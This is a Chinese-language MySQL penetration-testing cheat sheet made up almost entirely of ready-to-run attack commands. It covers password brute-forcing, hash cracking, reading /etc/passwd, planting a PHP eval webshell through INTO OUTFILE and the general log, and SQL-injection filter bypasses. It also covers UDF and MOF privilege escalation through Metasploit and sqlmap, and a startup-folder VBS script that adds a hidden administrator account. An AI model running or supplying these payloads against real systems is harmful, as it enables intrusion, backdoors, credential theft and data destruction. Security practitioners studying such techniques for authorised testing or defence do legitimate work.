MySQL 渗透小结

基本操作

信息收集

  • 端口号: 3306

  • 注释符: /**/、 /*!xxx*/、 #、 -- a、 `、 ;%00

  • 版本号: SELECT @@VERSION;、SELECT version();

  • 当前用户: SELECT user();、 SELECT system_user();

  • 当前数据库: SELECT database();

  • 数据库信息: information_schema (>= MySQL 5.0)

  • 其他查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
session_user()          连接数据库的用户名
@@datadir 数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

show databases; 列数据库
show tables [from db_name]; 列数据表
show columns from tb_name [from db_name]; 列字段

select user, password from user; < 5.7
select user, authentication_string from user; >= 5.7

select @@plugin_dir ; 查看plugin文件夹
show variables like ‘%plugin%’;

远程查看版本

  • 使用 telnet
1
telnet 192.168.56.5 3306
  • 使用 MSF
1
2
3
4
5
6
7
8
9
msf5 > use auxiliary/scanner/mysql/mysql_version

msf5 auxiliary(scanner/mysql/mysql_version) > set rhosts 192.168.56.5

msf5 auxiliary(scanner/mysql/mysql_version) > run

[+] 192.168.56.5:3306 - 192.168.56.5:3306 is running MySQL 5.7.26 (protocol 10)
[*] 192.168.56.5:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

密码枚举

  • 使用 patator
1
patator mysql_login user=root password=FILE0 0=/root/passes.txt host=127.0.0.1 -x ignore:fgrep='Access denied for user'
  • 使用 MSF
1
2
3
4
5
6
7
msf5 > use auxiliary/scanner/mysql/mysql_login

msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.56.5

msf5 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE "/root/passes.txt"

msf5 auxiliary(scanner/mysql/mysql_login) > run

HASH 破解

  • 使用 john
1
john --format=mysql-sha1 hashes.txt
  • 使用 hashcat hashes.txt
1
hashcat -m 300 hashes.txt /root/passes.txt

删库

1
2
3
drop table tbname;

drop database dbname;

文件操作

  • secure-file-priv

MySQL >= 5.7 时, secure-file-privNULL表示限制导入导出文件,需要在my.ini中修改secure_file_priv=''

1
show global variables like '%secure%';
  • 读文件
1
select load_file('/etc/passwd');
1
2
3
4
5
create table xxx(txt text);

load data infile '/tmp/1.txt' into table xxx;

select * from xxx;
1
sqlmap --file-read '/tmp/1.txt'
  • 远程dump数据
1
mysqldump -h 192.168.16.5 -u root -p root database > dump.sql
  • 写文件
1
select '<?php @eval($_POST[1]);?>' INTO OUTFILE 'D:/www/z.php'
1
sqlmap --file-write '/root/z.php' --file-dest 'D:/www/z.php'
  • 日志写shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
set global general_log='on';

set global general_log_file='D:/www/z.php';

select '<?php @eval($_POST[1]); ?>';

set global general_log='off';


set GLOBAL slow_query_log_file='D:/www/z.php';

set GLOBAL slow_query_log='on';

set GLOBAL log_queries_not_using_indexes='on';

SQL 注入

编码相关

  • ASCII
1
select char(97, 98, 99);
  • hex
1
select hex(979899);
  • base64
1
to_base64();、from_base64();    v > 5.6.1
  • unicode
1
%u0027 %u02b9 %u02bc
  • 宽字节注入
1
%df%27 -> (addslashes) -> %df%5c%27 -> (GBK) -> 運’

绕过相关

  • 过滤等号
1
like、in
  • 过滤逗号
1
(select 1)a join (select 2)b join (select 3)c;
  • 过滤空格
1
%09%0A %0B %0C %0D %A0 %20 /**/

过滤比较符号(<>)

1
greatest(x,y,z,..)、between 1 and 5
  • 等价函数
1
2
3
4
5
6
7
8
9
hex()、bin() -> ascii()

mid()、substr() -> substring()

sleep() -> benchmark()

@@version -> version()

......

提权

UDF提权

UDF(User Defined Function)用户自定义函数,是MySQL的一个拓展接口,利用MySQL的自定义函数功能,将MySQL账号转化为系统权限。

  • UDF 文件位置
1
2
3
Linux/Windows: MySQL安装目录 -> plugin目录

Windowns 2003: c:\windows\system32 < 5.1版本
1
2
3
4
5
6
7
8
9
10
11
12
13
sqlmap

/usr/share/sqlmap/data/udf/mysql/

python /usr/share/sqlmap/extra/cloak/cloak.py lib_mysqludf_sys.so_ -o linux_udf_64.so

MSF

/usr/share/metasploit-framework/data/exploits/mysql/

lib_mysqludf_sys_32.dll lib_mysqludf_sys_32.so

lib_mysqludf_sys_64.dll lib_mysqludf_sys_64.so
  • 使用 sqlmap
1
sqlmap -d mysql://root:root@192.168.56.5:3306/mysql --os-shell
  • 使用 MSF
1
2
3
4
5
6
7
msf5 > use exploit/multi/mysql/mysql_udf_payload

msf5 exploit(multi/mysql/mysql_udf_payload) > set rhosts 192.168.56.5

msf5 exploit(multi/mysql/mysql_udf_payload) > set password root

msf5 exploit(multi/mysql/mysql_udf_payload) > run
  • plugin文件夹

默认情况下/lib/plugin目录是不存在的,可用NTFS ADS流来创建文件夹。

1
2
3
4
5
6
7
8
9
select @@plugin_dir;

//创建lib目录
select 'test' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL\\lib::$INDEX_ALLOCATION';
select 'test' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL\\lib::$INDEX_ALLOCATION';

// 创建plugin目录
select 'test' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
select 'test' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

MOF 提权

MOF(托管对象格式),利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性(system权限),来写入cmd命令使其被带入执行。

  • 使用 MSF
1
2
3
4
5
6
7
8
9
msf5 > use exploit/windows/mysql/mysql_mof

msf5 exploit(windows/mysql/mysql_mof) > set rhosts 192.168.56.5

msf5 exploit(windows/mysql/mysql_mof) > set username root

msf5 exploit(windows/mysql/mysql_mof) > set password root

msf5 exploit(windows/mysql/mysql_mof) > run

启动项提权

将VBS脚本写入自启动目录:

1
2
3
4
5
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\

C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\

C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\
1
2
3
4
5
6
7
8
9
setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","test")
od.SetPassword “123456”
od.SetInfo
Set of=GetObject(os&"/test",user)
oe.add os&"/test"
1
2
3
4
5
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\test.vbs";

CVE

CVE-2012-2122

身份认证漏洞, 由于输入密码与正确的密码比较不正确的处理,会导致即便是memcmp()返回一个非零值,使得MySQL认为两个密码是相同的。

1
msf5 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump

CVE-2016-6662

影响版本: MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51

MySQL的默认安装包里自带了一个mysqld_safe的脚本用来启动mysql的服务进程,该进程能够在启动之前预加载共享库文件,攻击者可注入my.cnf文件,待MySQL重启可加载恶意代码。

CVE-2016-6662 参考: https://paper.seebug.org/46/